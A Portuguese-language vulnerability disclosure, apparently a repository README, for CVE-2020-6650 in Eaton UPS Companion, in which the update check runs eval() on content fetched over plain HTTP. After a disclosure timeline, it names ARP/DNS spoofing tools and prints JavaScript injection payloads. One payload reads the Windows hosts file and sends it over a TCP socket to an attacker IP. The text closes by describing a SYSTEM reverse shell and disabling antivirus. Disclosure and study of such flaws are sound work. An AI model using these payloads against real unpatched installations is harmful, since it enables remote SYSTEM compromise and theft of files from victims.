
Este repositório detalha a CVE-2020-6650, uma vulnerabilidade que descobri no UPS Companion da Eaton. Todos os utilizadores devem atualizar para a v1.06 imediatamente ou correm o risco de acesso remoto de administrador ao seu sistema.
O software Eaton UPS Companion verifica se há uma atualização toda semana por meio de uma conexão HTTP insegura e executa eval() no conteúdo da URL de atualização. Isso permite que um invasor crie uma função JavaScript que utiliza as operações de baixo nível do sistema operacional já existentes no software de back-end, como execução de arquivos, sockets de rede e E/S do sistema de arquivos. Todas essas operações ocorrem com privilégios de NT AUTHORITY\SYSTEM, provavelmente devido às permissões que um UPS (Fonte de Alimentação Ininterrupta) necessita para o gerenciamento do sistema. Após esperar um tempo, ocorre uma injeção automática de comandos que concede um shell SYSTEM sem esforço.
Isso foi corrigido na versão 1.06 e o ID CVE atribuído é CVE-2020-6650.
| Erro notado | 2019/10/25 - 21:43 |
| Exploit percebido | 2019/12/28 - 06:28 |
| Relatado para a Eaton | 2019/12/28 - 10:00 |
| Reconhecido | 2019/12/30 - 22:05 |
| PoC simples enviado | 2020/01/04 - 03:32 |
| Sendo corrigido | 2020/01/21 - 12:54 |
| Corrigido | 2020/03/21 - 12:21 |
Agradecimentos à Eaton por tornar a divulgação deste exploit simples.
O Eaton UPS Companion obtém atualizações de http://pqsoftware.eaton.com/upgrade/upgrade_euc.info
Problema 1: Pode ser facilmente falsificado via dsniff arpspoof e dnsspoof, depois python -m http.server 80.
Problema 2: A falta de HTTPS abre outro vetor de ataque para o mesmo efeito.
Em 25/10/2019 - 22:08, este é o conteúdo do link:
// CHECK: |12ef94bf01265a99b04bab6263bbc0eba652ec3e|
{
"EUC":
{
"WINDOWS":
{
"version": "1.04.017",
"packageURL": "install/win32/euc/euc_win_1_04_017.exe",
"info": "New release<br />More information here: <a href='http://pqsoftware.eaton.com' target='_blank'>Link to Eaton site</a><br />"
}
}
}
Não é possível descobrir como o checksum SHA1 do arquivo é calculado ou o que é usado para calculá-lo, mas fazer isso tornaria isso muito mais simples.
O Eaton UPS Companion cria um servidor HTTP local em http://localhost:4679.
Clicar em "Version: Eaton UPS Companion v1.05" abre um log de depuração "oculto" em http://localhost:4679/trace.html.
Também pode ser aberto via ".\mc2.exe -start -debug" no cmd.exe
Servir uma página HTML vazia causa um erro proeminente que é registrado:
2019/10/25-21:32:29.051 | UpdateManager | !!! ERROR: Update data could not be parsed:
{
"message": "syntax error",
"fileName": "scripts/libs/json.js",
"lineNumber": 122,
"stack": "()@:0\neval(\"()\")@:0\n(\"\") . . .
"name": "SyntaxError"
}
eval() está sendo usado aqui, o que facilita para nós. Aqui está um exemplo de manipulação da interface do usuário, onde o conteúdo abaixo vai para update_euc.info.
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:System.getProductInfo(L('/Install/ServerUnreachable')), buttons:{ok:'/Misc/OK'}})
Isso pode ser transformado em uma função adequada graças às funções anônimas:
(function() {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 1.')), buttons:{ok:'Game Over 1'}});
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 2.')), buttons:{ok:'Game Over 2'}});
})()
Acredito que também pode haver acesso ao ShutdownManager, o que não é bom.
Ir para http://localhost:4679/server/data_srv.js?action=init revela mais informações sobre como o sistema funciona.
Funções JS comuns como alert() não existem e objetos como document, console e object também não existem.
Edição muito antiga do ECMAScript ou algo assim? Também não tem a palavra-chave let, apenas var.
Isso pode ajudar:
"stack": "()@:0\neval(\"()\")@:0\n(\"\")@scripts/libs/json.js:122\n((function (upgradeStatus) {trace(\"ui_cgf\", \"Check upgrade returns: '{0}'\", upgradeStatus);if (upgradeStatus == \"NEW_VERSION\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:S(L(\"/Install/SoftwareUpgradeLaunch\"), UpdateManager.updateData.version), buttons:{yes:\"/Misc/Yes\", no:\"/Misc/No\"}});} else if (upgradeStatus == \"UP_TO_DATE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:L(\"/Install/NoSoftwareUpgradeAvailable\"), buttons:{ok:\"/Misc/OK\"}});} else if (upgradeStatus == \"SERVER_UNREACHABLE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:System.getProductInfo(L(\"/Install/ServerUnreachable\")), buttons:{ok:\"/Misc/OK\"}});}}))@scripts/managers/update_manager.js:175\n(\"\")@scripts/configs/ui_cfg.js:1058\n([object Object])@scripts/managers/ui_manager.js:55\nsendData([object Object])@/server/data_srv.js:75\n([object Object],[object Object])@/server/data_srv.js:82\n([object Object])@scripts/libs/http_server.js:274\ncall([object Object],[object Object])@:0\n()@scripts/libs/core/thread.js:136\n@runThread:1\n",
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:S(L('/Install/SoftwareUpgradeLaunch'), UpdateManager.updateData.version), buttons:{yes:'/Misc/Yes', no:'/Misc/No'}});
Posso ver todas as propriedades dos objetos "gerentes", por exemplo, UpdateManager, através de:
(function() {
for (var property in UpdateManager) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(property + " IS " + UpdateManager[property]), buttons:{ok:'Game Over'}});
}
})()
Fazer isso no UpdateManager revelou essas funções muito interessantes:
selfUpdate IS function () {\n var packagePath = UpdateManager.retrievePackage();\n if (packagePath) {\n ThreadPool.run(function () {var adminOK = System.getAdminRights();if (adminOK) {var installCmd = S(\"?/?\", File.getCurrentWorkingDir(), packagePath);var installPrm = \"-install -silent\";if (!File.status(\"scripts\")) {debug(\"UpdateManager\", \"Launching update package '? ?' ...\", installCmd, installPrm);System.open(installCmd, installPrm);} else {debug(\"UpdateManager\", \"Launching update package '? ?' muted\", installCmd, installPrm);}} else {error(\"UpdateManager\", \"Unable to get admin rights to launch upgrade\");}});\n }\n}
retrievePackage IS function () {\n var updateLocation = UpdateManager.updateLocation;\n if (!UpdateManager.updateData) {\n UpdateManager.checkForUpgrade();\n }\n if (!UpdateManager.updateData.packageURL) {\n error(\"UpdateManager\", \"Unable to retrieve package url: UpdateManager.updateData = ?\", dump(UpdateManager.updateData, 2));\n return false;\n }\n var packageURL = UpdateManager.updateData.packageURL;\n var packagePath = S(\"?/?\", UpdateManager.outputPath, File.pathInfo(packageURL).file);\n File.createPath(UpdateManager.outputPath);\n if (File.status(packagePath)) {\n debug(\"UpdateManager\", \"Update package '?' already in cache.\", packagePath);\n return packagePath;\n }\n debug(\"UpdateManager\", \"Retrieving update package at '?'\", packageURL);\n var client = new HTTPClient(updateLocation);\n var response = client.get(packageURL);\n if (response && response.status == 200) {\n debug(\"UpdateManager\", \"Retrieved package at '?'\", packageURL);\n try {\n File.put(packagePath, response.data);\n debug(\"UpdateManager\", \"Saved update package in file '?'\", packagePath);\n return packagePath;\n } catch (e) {\n error(\"Failed to save update package at '?'\", packagePath);\n }\n } else {\n debug(\"UpdateManager\", \"Failed to retrieve package at '?'\", packageURL);\n }\n return false;\n}
Isso consegue mostrar que podemos causar problemas:
(function() {
if (System.getAdminRights()) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L("Ravjot is admin.")), buttons:{ok:'Game Over'}});
}
})()
Existem outras chamadas de função úteis, como File.get("C:\\Windows\\System32\\drivers\\etc\\hosts"), que exibe o conteúdo do arquivo de hosts em uma string, mas apenas internamente. Depois de vasculhar as propriedades do objeto HTTPClient, há outra classe de objeto que permite criar sockets.
Por exemplo, para receber o arquivo de hosts:
(function() {
var hosts = File.get("C:\\Windows\\System32\\drivers\\etc\\hosts");
var s = new Socket("tcp");
s.connect("192.168.1.???", 44444);
s.send(hosts);
s.close;
}
})()
Eventualmente, descobri como funciona System.open(<file>, <args>), que executa um arquivo. A partir daqui, é apenas enviar um reverse shell, silenciar qualquer solução antivírus (já que temos privilégios de SYSTEM) e obter um reverse shell.